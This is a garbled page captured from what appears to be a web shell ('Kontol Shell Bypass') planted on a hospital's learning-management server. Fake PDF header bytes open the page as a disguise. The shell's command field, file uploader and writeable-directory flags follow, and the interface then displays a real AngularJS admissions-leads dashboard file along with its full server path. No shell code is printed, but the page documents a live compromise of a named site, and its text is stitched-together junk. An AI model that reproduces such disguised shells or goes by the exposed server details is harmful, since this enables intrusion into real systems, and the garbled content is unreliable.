%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardahospital.org/shardalms/lms/lms/views/reports/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital.org/shardalms/lms/lms/views/reports/dashboard_detailed_analysis.html
<div class="tabbable-custom tabs-sm dash-tabs" ng-show="modules['dashboard_detailed_analysis']">
    <div class="mb10 clearfix">
        <select class="form-control input-sm pull-left w250" ng-model="CR.sdata.campus_id" ng-change="CR.lms_db_change()" style="margin-right: 5px;">
            <option value="">Campus (All)</option>
            <option value="{{r.id}}" ng-repeat="r in CR.campuses">{{r.title}}</option>
        </select>
        <!-- <select class="form-control input-sm pull-right w200" ng-model="CR.sdata.lmsdb" ng-change="CR.lms_db_change()">
            <option value="">Current Database</option>
            <option value="old_lms">Last Year Database</option>
        </select> -->
    </div>

    <ul class="nav nav-tabs uc">
        <li class="active" ng-if="!isPublisher">
            <a href="#tab1" data-toggle="tab" aria-expanded="true" onclick="event.preventDefault()" ng-click="CR.active_tab=1; CR.leads_group_wise()"> Group </a>
        </li>
        <li ng-if="!isPublisher">
            <a href="#tab2" data-toggle="tab" aria-expanded="true" onclick="event.preventDefault()" ng-click="CR.active_tab=2; CR.leads_source_wise()"> Source </a>
        </li>
        
        <li class="{{isPublisher?'active':''}}">
            <a href="#tab3" data-toggle="tab" aria-expanded="true" onclick="event.preventDefault()" ng-click="CR.active_tab=3; CR.leads_program_wise()"> Program </a>
        </li>
        <li>
            <a href="#tab4" data-toggle="tab" aria-expanded="true" onclick="event.preventDefault()" ng-click="CR.active_tab=4; CR.leads_discipline_wise()"> Discipline </a>
        </li>
        <li>
            <a href="#tab5" data-toggle="tab" aria-expanded="true" onclick="event.preventDefault()" ng-click="CR.active_tab=5; CR.leads_state_wise()"> State </a>
        </li>
        <li ng-if="!isPublisher">
            <a href="#tab6" data-toggle="tab" aria-expanded="true" onclick="event.preventDefault()" ng-click="CR.active_tab=6; CR.leads_publishers_wise()"> Publishers </a>
        </li>
        <li ng-if="!isPublisher">
            <a href="#tab7" data-toggle="tab" aria-expanded="true" onclick="event.preventDefault()" ng-click="CR.active_tab=7; CR.leads_multi_source()"> Multi Source </a>
        </li>

        <li>
            <a href="#tab8" data-toggle="tab" aria-expanded="true" onclick="event.preventDefault()" ng-click="CR.active_tab=8; CR.leads_gender_wise()"> Gender </a>
        </li>
        <li>
            <a href="#tab9" data-toggle="tab" aria-expanded="true" onclick="event.preventDefault()" ng-click="CR.active_tab=9; CR.leads_amount_wise()"> Amount </a>
        </li>
    </ul>
    <!-- -->
    <div class="tab-content nobdr">
        <!-- Group Wise -->
        <div class="tab-pane active" id="tab1">
            <div class="mb10">
                <button class="btn btn-sm purple pull-right" ng-click="CR.export_leads_group_wise()"><i class="fa fa-file-excel-o"></i> Export</button>
                <div class="form-inline">
                    <select class="form-control input-sm w200" ng-model="CR.sdata_sg.med_phd" ng-change="CR.leads_group_wise()">
                        <option value="">ALL</option>
                        <option value="0">Non Medical/Phd</option>
                        <option value="1">Medical</option>
                        <option value="2">Phd</option>
                    </select>
                    <select class="form-control input-sm w200" ng-model="CR.sdata_sg.month" ng-change="CR.leads_group_wise()">
                        <option value="">ALL Months</option>
                        <option value="{{m.ym}}" ng-repeat="m in CR.months">{{m.month_name}}</option>
                    </select>
                </div>
            </div>
            <div class="">
                <div class="sticky-tbl-div">
                    <table class="table table-condensed table-advance table-bordered table-hover nomrgn sticky-tbl">
                        <thead class="vmid">
                            <tr>
                                <th class="bg-green-steel bg-font-green-steel" style="min-width:200px">
                                    GROUPS
                                </th>
                                <th class="text-center bg-grey-mint bg-font-grey-mint dash-th uc" ng-repeat="h in CR.group_wise.head">
                                    <div class="w120" style="margin:0 auto">
                                        {{h.head_name}}
                                        <div class="sm-text">
                                            Lead | Paid
                                        </div>
                                    </div>
                                </th>
                            </tr>
                        </thead>
                        <tbody class="vmid">
                            <tr ng-repeat="(s,r) in CR.group_wise.result">
                                <th class="success">{{s}}</th>
                                <td class="text-center" ng-repeat="h in CR.group_wise.head">
                                    {{r[h.head][0].leads}} | {{r[h.head][0].paid}}
                                </td>
                            </tr>
                        </tbody>

                        <tfoot class="vmid">
                            <tr>
                                <th class="bg-green-steel bg-font-green-steel">TOTAL</th>
                                <th class="text-center bg-grey-mint bg-font-grey-mint" ng-repeat="h in CR.group_wise.head">
                                    {{CR.group_wise.total[h.head].leads}} | {{CR.group_wise.total[h.head].paid}}
                                </th>
                            </tr>
                        </tfoot>
                    </table>
                </div>
            </div>
        </div>

        <!-- Source Wise -->
        <div class="tab-pane" id="tab2">
            <div class="mb10">
                <button class="btn btn-sm purple pull-right" ng-click="CR.export_leads_source_wise()"><i class="fa fa-file-excel-o"></i> Export</button>
                <div class="form-inline">
                    <select class="form-control input-sm w200" ng-model="CR.sdata_s.med_phd" ng-change="CR.leads_source_wise()">
                        <option value="">ALL</option>
                        <option value="0">Non Medical/Phd</option>
                        <option value="1">Medical</option>
                        <option value="2">Phd</option>
                    </select>
                    <select class="form-control input-sm w200" ng-model="CR.sdata_s.month" ng-change="CR.leads_source_wise()">
                        <option value="">ALL Months</option>
                        <option value="{{m.ym}}" ng-repeat="m in CR.months">{{m.month_name}}</option>
                    </select>
                </div>
            </div>
            <div class="">
                <div class="sticky-tbl-div">
                    <table class="table table-condensed table-advance table-bordered table-hover nomrgn sticky-tbl">
                        <thead class="vmid">
                            <tr>
                                <th class="bg-green-steel bg-font-green-steel" style="min-width:200px"> SOURCES </th>
                                <th class="text-center bg-grey-mint bg-font-grey-mint dash-th uc" ng-repeat="h in CR.source_wise.head">
                                    <div class="w120" style="margin:0 auto">
                                        {{h.head_name}}
                                        <div class="sm-text">
                                            Lead | Paid
                                        </div>
                                    </div>
                                </th>
                            </tr>
                        </thead>
                        <tbody class="vmid">
                            <tr ng-repeat="(s,r) in CR.source_wise.result">
                                <th class="success">{{s}}</th>
                                <td class="text-center" ng-repeat="h in CR.source_wise.head">
                                    {{r[h.head][0].leads}} | {{r[h.head][0].paid}}
                                </td>
                            </tr>
                        </tbody>

                        <tfoot class="vmid">
                            <tr>
                                <th class="bg-green-steel bg-font-green-steel">TOTAL</th>
                                <th class="text-center bg-grey-mint bg-font-grey-mint" ng-repeat="h in CR.source_wise.head">
                                    {{CR.source_wise.total[h.head].leads}} | {{CR.source_wise.total[h.head].paid}}
                                </th>
                            </tr>
                        </tfoot>
                    </table>
                </div>
            </div>
        </div>

        <!-- Program Wise -->
        <div class="tab-pane" id="tab3">
            <div class="mb10">
                <button class="btn btn-sm purple pull-right" ng-click="CR.export_leads_program_wise()"><i class="fa fa-file-excel-o"></i> Export</button>
                <div class="form-inline">
                    <select class="form-control input-sm w200" ng-model="CR.sdata_p.med_phd" ng-change="CR.leads_program_wise()">
                        <option value="">ALL</option>
                        <option value="0">Non Medical/Phd</option>
                        <option value="1">Medical</option>
                        <option value="2">Phd</option>
                    </select>
                    <select class="form-control input-sm w200" ng-model="CR.sdata_p.month" ng-change="CR.leads_program_wise()">
                        <option value="">ALL Months</option>
                        <option value="{{m.ym}}" ng-repeat="m in CR.months">{{m.month_name}}</option>
                    </select>
                </div>
            </div>
            <div class="">
                <div class="sticky-tbl-div">
                    <table class="table table-condensed table-advance table-bordered table-hover nomrgn sticky-tbl">
                        <thead class="vmid">
                            <tr>
                                <th class="bg-green-steel bg-font-green-steel" style="min-width:200px"> PROGRAMS </th>
                                <th class="text-center bg-grey-mint bg-font-grey-mint dash-th uc" ng-repeat="h in CR.program_wise.head">
                                    <div class="w120" style="margin:0 auto">
                                        {{h.head_name}}
                                        <div class="sm-text">
                                            Lead | Paid
                                        </div>
                                    </div>
                                </th>
                            </tr>
                        </thead>
                        <tbody class="vmid">
                            <tr ng-repeat="(s,r) in CR.program_wise.result">
                                <th class="success">{{s}}</th>
                                <td class="text-center" ng-repeat="h in CR.program_wise.head">
                                    {{r[h.head][0].leads}} | {{r[h.head][0].paid}}
                                </td>
                            </tr>
                        </tbody>

                        <tfoot class="vmid">
                            <tr>
                                <th class="bg-green-steel bg-font-green-steel">TOTAL</th>
                                <th class="text-center bg-grey-mint bg-font-grey-mint" ng-repeat="h in CR.program_wise.head">
                                    {{CR.program_wise.total[h.head].leads}} | {{CR.program_wise.total[h.head].paid}}
                                </th>
                            </tr>
                        </tfoot>
                    </table>
                </div>
            </div>
        </div>

        <!-- Discipline Wise -->
        <div class="tab-pane" id="tab4">
            <div class="mb10">
                <button class="btn btn-sm purple pull-right" ng-click="CR.export_leads_discipline_wise()"><i class="fa fa-file-excel-o"></i> Export</button>
                <div class="form-inline">
                    <select class="form-control input-sm w200" ng-model="CR.sdata_dc.med_phd" ng-change="CR.leads_discipline_wise()">
                        <option value="">ALL</option>
                        <option value="0">Non Medical/Phd</option>
                        <option value="1">Medical</option>
                        <option value="2">Phd</option>
                    </select>
                    <select class="form-control input-sm w200" ng-model="CR.sdata_dc.month" ng-change="CR.leads_discipline_wise()">
                        <option value="">ALL Months</option>
                        <option value="{{m.ym}}" ng-repeat="m in CR.months">{{m.month_name}}</option>
                    </select>
                </div>
            </div>
            <div class="">
                <div class="sticky-tbl-div">
                    <table class="table table-condensed table-advance table-bordered table-hover nomrgn sticky-tbl">
                        <thead class="vmid">
                            <tr>
                                <th class="bg-green-steel bg-font-green-steel" style="min-width:200px"> DISCIPLINES </th>
                                <th class="text-center bg-grey-mint bg-font-grey-mint dash-th uc" ng-repeat="h in CR.discipline_wise.head">
                                    <div class="w120" style="margin:0 auto">
                                        {{h.head_name}}
                                        <div class="sm-text">
                                            Lead | Paid
                                        </div>
                                    </div>
                                </th>
                            </tr>
                        </thead>
                        <tbody class="vmid">
                            <tr ng-repeat="(s,r) in CR.discipline_wise.result">
                                <th class="success">{{s}}</th>
                                <td class="text-center" ng-repeat="h in CR.discipline_wise.head">
                                    {{r[h.head][0].leads}} | {{r[h.head][0].paid}}
                                </td>
                            </tr>
                        </tbody>

                        <tfoot class="vmid">
                            <tr>
                                <th class="bg-green-steel bg-font-green-steel">TOTAL</th>
                                <th class="text-center bg-grey-mint bg-font-grey-mint" ng-repeat="h in CR.discipline_wise.head">
                                    {{CR.discipline_wise.total[h.head].leads}} | {{CR.discipline_wise.total[h.head].paid}}
                                </th>
                            </tr>
                        </tfoot>
                    </table>
                </div>
            </div>
        </div>

        <!-- State Wise -->
        <div class="tab-pane" id="tab5">
            <div class="mb10">
                <button class="btn btn-sm purple pull-right" ng-click="CR.export_leads_state_wise()"><i class="fa fa-file-excel-o"></i> Export</button>
                <div class="form-inline">
                    <select class="form-control input-sm w200" ng-model="CR.sdata_st.med_phd" ng-change="CR.leads_state_wise()">
                        <option value="">ALL</option>
                        <option value="0">Non Medical/Phd</option>
                        <option value="1">Medical</option>
                        <option value="2">Phd</option>
                    </select>
                    <select class="form-control input-sm w200" ng-model="CR.sdata_st.month" ng-change="CR.leads_state_wise()">
                        <option value="">ALL Months</option>
                        <option value="{{m.ym}}" ng-repeat="m in CR.months">{{m.month_name}}</option>
                    </select>
                </div>
            </div>
            <div class="">
                <div class="sticky-tbl-div">
                    <table class="table table-condensed table-advance table-bordered table-hover nomrgn sticky-tbl">
                        <thead class="vmid">
                            <tr>
                                <th class="bg-green-steel bg-font-green-steel" style="min-width:200px"> STATES </th>
                                <th class="text-center bg-grey-mint bg-font-grey-mint dash-th uc" ng-repeat="h in CR.state_wise.head">
                                    <div class="w120" style="margin:0 auto">
                                        {{h.head_name}}
                                        <div class="sm-text">
                                            Lead | Paid
                                        </div>
                                    </div>
                                </th>
                            </tr>
                        </thead>
                        <tbody class="vmid">
                            <tr ng-repeat="(s,r) in CR.state_wise.result">
                                <th class="success">{{s}}</th>
                                <td class="text-center" ng-repeat="h in CR.state_wise.head">
                                    {{r[h.head][0].leads}} | {{r[h.head][0].paid}}
                                </td>
                            </tr>
                        </tbody>

                        <tfoot class="vmid">
                            <tr>
                                <th class="bg-green-steel bg-font-green-steel">TOTAL</th>
                                <th class="text-center bg-grey-mint bg-font-grey-mint" ng-repeat="h in CR.state_wise.head">
                                    {{CR.state_wise.total[h.head].leads}} | {{CR.state_wise.total[h.head].paid}}
                                </th>
                            </tr>
                        </tfoot>
                    </table>
                </div>
            </div>
        </div>

        <!-- Publishers Wise -->
        <div class="tab-pane" id="tab6">
            <div class="mb10">
                <button class="btn btn-sm purple pull-right" ng-click="CR.export_leads_publihers_wise()"><i class="fa fa-file-excel-o"></i> Export</button>
                <div class="form-inline">
                    <select class="form-control input-sm w200" ng-model="CR.sdata_pb.med_phd" ng-change="CR.leads_publishers_wise()">
                        <option value="">ALL</option>
                        <option value="0">Non Medical/Phd</option>
                        <option value="1">Medical</option>
                        <option value="2">Phd</option>
                    </select>
                    <select class="form-control input-sm w200" ng-model="CR.sdata_pb.month" ng-change="CR.leads_publishers_wise()">
                        <option value="">ALL Months</option>
                        <option value="{{m.ym}}" ng-repeat="m in CR.months">{{m.month_name}}</option>
                    </select>
                </div>
            </div>
            <div class="">
                <div class="sticky-tbl-div">
                    <table class="table table-condensed table-advance table-bordered table-hover nomrgn sticky-tbl">
                        <thead class="vmid">
                            <tr>
                                <th class="bg-green-steel bg-font-green-steel" style="min-width:200px"> PUBLISHER </th>
                                <th class="text-center bg-grey-mint bg-font-grey-mint dash-th uc" ng-repeat="h in CR.pub_wise.head">
                                    <div class="w120" style="margin:0 auto">
                                        {{h.head_name}}
                                        <div class="sm-text">
                                            Lead | Paid
                                        </div>
                                    </div>
                                </th>
                            </tr>
                        </thead>
                        <tbody class="vmid">
                            <tr ng-repeat="(s,r) in CR.pub_wise.result">
                                <th class="success">{{s}}</th>
                                <td class="text-center" ng-repeat="h in CR.pub_wise.head">
                                    {{r[h.head][0].leads}} | {{r[h.head][0].paid}}
                                </td>
                            </tr>
                        </tbody>

                        <tfoot class="vmid">
                            <tr>
                                <th class="bg-green-steel bg-font-green-steel">TOTAL</th>
                                <th class="text-center bg-grey-mint bg-font-grey-mint" ng-repeat="h in CR.pub_wise.head">
                                    {{CR.pub_wise.total[h.head].leads}} | {{CR.pub_wise.total[h.head].paid}}
                                </th>
                            </tr>
                        </tfoot>
                    </table>
                </div>
            </div>
        </div>

        <!-- Multi Source -->
        <div class="tab-pane" id="tab7">
            <div class="mb10">
                <button class="btn btn-sm purple pull-right hide" ng-click="CR.export_leads_publihers_wise()"><i class="fa fa-file-excel-o"></i> Export</button>
                <div class="form-inline">
                    <select class="form-control input-sm w200" ng-model="CR.sdata_ms.med_phd" ng-change="CR.leads_multi_source()">
                        <option value="">ALL</option>
                        <option value="0">Non Medical/Phd</option>
                        <option value="1">Medical</option>
                        <option value="2">Phd</option>
                    </select>
                    {{CR.multi_sources.total.length}}
                </div>
            </div>
            <div class="">
                <div class="sticky-tbl-div">
                    <table class="table table-condensed table-advance table-bordered table-hover nomrgn sticky-tbl">
                        <thead class="vmid">
                            <tr>
                                <th class="bg-green-steel bg-font-green-steel"> SOURCE </th>
                                <th class="text-center bg-grey-mint bg-font-grey-mint dash-th uc">
                                    <div style="width:130px">LEADS | PAID</div>
                                </th>
                                <th class="text-center bg-grey-mint bg-font-grey-mint dash-th uc" ng-repeat="i in ngrange(1, CR.multi_sources.no_of_sources)">
                                    <div style="width:150px">UTM SOURCE {{i}}</div>
                                </th>
                            </tr>
                        </thead>
                        <tbody class="vmid">
                            <tr ng-repeat="(i,r) in CR.multi_sources.result">
                                <th class="success">
                                    <div style="width:200px; overflow: hidden;">{{r.utm_source}}</div>
                                </th>
                                <td class="text-center">
                                    {{r.total}} | {{r.paid}}
                                </td>
                                <td class="text-center" ng-repeat="i in ngrange(1, CR.multi_sources.no_of_sources)">
                                    <button type="button" class="btn btn-xs btn-info btn-block" ng-if="r.psources[i-1].count">
                                        {{r.psources[i-1].source}}
                                        <span class="badge badge-info"> {{r.psources[i-1].count}} </span>
                                    </button>
                                    <div ng-if="!r.psources[i-1].count">0</div>
                                </td>
                            </tr>
                        </tbody>

                        <tfoot class="vmid">
                            <tr>
                                <th class="bg-green-steel bg-font-green-steel">TOTAL</th>
                                <th class="text-center bg-grey-mint bg-font-grey-mint">
                                    {{CR.multi_sources.total.leads}} | {{CR.multi_sources.total.paid}}
                                </th>
                                <th class="text-center bg-grey-mint bg-font-grey-mint" ng-repeat="(k,v) in CR.multi_sources.total" ng-if="k!='leads' && k!='paid'">
                                    {{v}}
                                </th>
                            </tr>
                        </tfoot>
                    </table>
                </div>
            </div>
        </div>

        <!-- Gender Wise -->
        <div class="tab-pane" id="tab8">
            <div class="mb10">
                <button class="btn btn-sm purple pull-right" ng-click="CR.export_leads_gender_wise()"><i class="fa fa-file-excel-o"></i> Export</button>
                <div class="form-inline">
                    <select class="form-control input-sm w200" ng-model="CR.sdata_gender.med_phd" ng-change="CR.leads_gender_wise()">
                        <option value="">ALL</option>
                        <option value="0">Non Medical/Phd</option>
                        <option value="1">Medical</option>
                        <option value="2">Phd</option>
                    </select>
                    <select class="form-control input-sm w200" ng-model="CR.sdata_gender.month" ng-change="CR.leads_gender_wise()">
                        <option value="">ALL Months</option>
                        <option value="{{m.ym}}" ng-repeat="m in CR.months">{{m.month_name}}</option>
                    </select>
                </div>
            </div>
            <div class="">
                <div class="sticky-tbl-div">
                    <table class="table table-condensed table-advance table-bordered table-hover nomrgn sticky-tbl">
                        <thead class="vmid">
                            <tr>
                                <th class="bg-green-steel bg-font-green-steel" style="min-width:200px"> GENDER </th>
                                <th class="text-center bg-grey-mint bg-font-grey-mint dash-th uc" ng-repeat="h in CR.gender_wise.head">
                                    <div class="w120" style="margin:0 auto">
                                        {{h.head_name}}
                                        <div class="sm-text">
                                            Lead | Paid
                                        </div>
                                    </div>
                                </th>
                            </tr>
                        </thead>
                        <tbody class="vmid">
                            <tr ng-repeat="(s,r) in CR.gender_wise.result">
                                <th class="success">{{s}}</th>
                                <td class="text-center" ng-repeat="h in CR.gender_wise.head">
                                    {{r[h.head][0].leads}} | {{r[h.head][0].paid}}
                                </td>
                            </tr>
                        </tbody>

                        <tfoot class="vmid">
                            <tr>
                                <th class="bg-green-steel bg-font-green-steel">TOTAL</th>
                                <th class="text-center bg-grey-mint bg-font-grey-mint" ng-repeat="h in CR.gender_wise.head">
                                    {{CR.gender_wise.total[h.head].leads}} | {{CR.gender_wise.total[h.head].paid}}
                                </th>
                            </tr>
                        </tfoot>
                    </table>
                </div>
            </div>
        </div>

        <!-- Amount Wise -->
        <div class="tab-pane" id="tab9">
            <div class="mb10">
                <button class="btn btn-sm purple pull-right" ng-click="CR.export_leads_amount_wise()"><i class="fa fa-file-excel-o"></i> Export</button>
                <div class="form-inline">
                    <select class="form-control input-sm w200" ng-model="CR.sdata_amount.med_phd" ng-change="CR.leads_amount_wise()">
                        <option value="">ALL</option>
                        <option value="0">Non Medical/Phd</option>
                        <option value="1">Medical</option>
                        <option value="2">Phd</option>
                    </select>
                    <select class="form-control input-sm w200" ng-model="CR.sdata_amount.month" ng-change="CR.leads_amount_wise()">
                        <option value="">ALL Months</option>
                        <option value="{{m.ym}}" ng-repeat="m in CR.months">{{m.month_name}}</option>
                    </select>
                </div>
            </div>
            <div class="">
                <div class="sticky-tbl-div">
                    <table class="table table-condensed table-advance table-bordered table-hover nomrgn sticky-tbl">
                        <thead class="vmid">
                            <tr>
                                <th class="bg-green-steel bg-font-green-steel" style="min-width:200px"> GENDER </th>
                                <th class="text-center bg-grey-mint bg-font-grey-mint dash-th uc" ng-repeat="h in CR.amount_wise.head">
                                    <div class="w120" style="margin:0 auto">
                                        {{h.head_name}}
                                        <div class="sm-text">
                                            Lead | Paid
                                        </div>
                                    </div>
                                </th>
                            </tr>
                        </thead>
                        <tbody class="vmid">
                            <tr ng-repeat="(s,r) in CR.amount_wise.result">
                                <th class="success">{{s}}</th>
                                <td class="text-center" ng-repeat="h in CR.amount_wise.head">
                                    {{r[h.head][0].leads}} | {{r[h.head][0].paid}}
                                </td>
                            </tr>
                        </tbody>

                        <tfoot class="vmid">
                            <tr>
                                <th class="bg-green-steel bg-font-green-steel">TOTAL</th>
                                <th class="text-center bg-grey-mint bg-font-grey-mint" ng-repeat="h in CR.amount_wise.head">
                                    {{CR.amount_wise.total[h.head].leads}} | {{CR.amount_wise.total[h.head].paid}}
                                </th>
                            </tr>
                        </tfoot>
                    </table>
                </div>
            </div>
        </div>
    </div>
</div>

Kontol Shell Bypass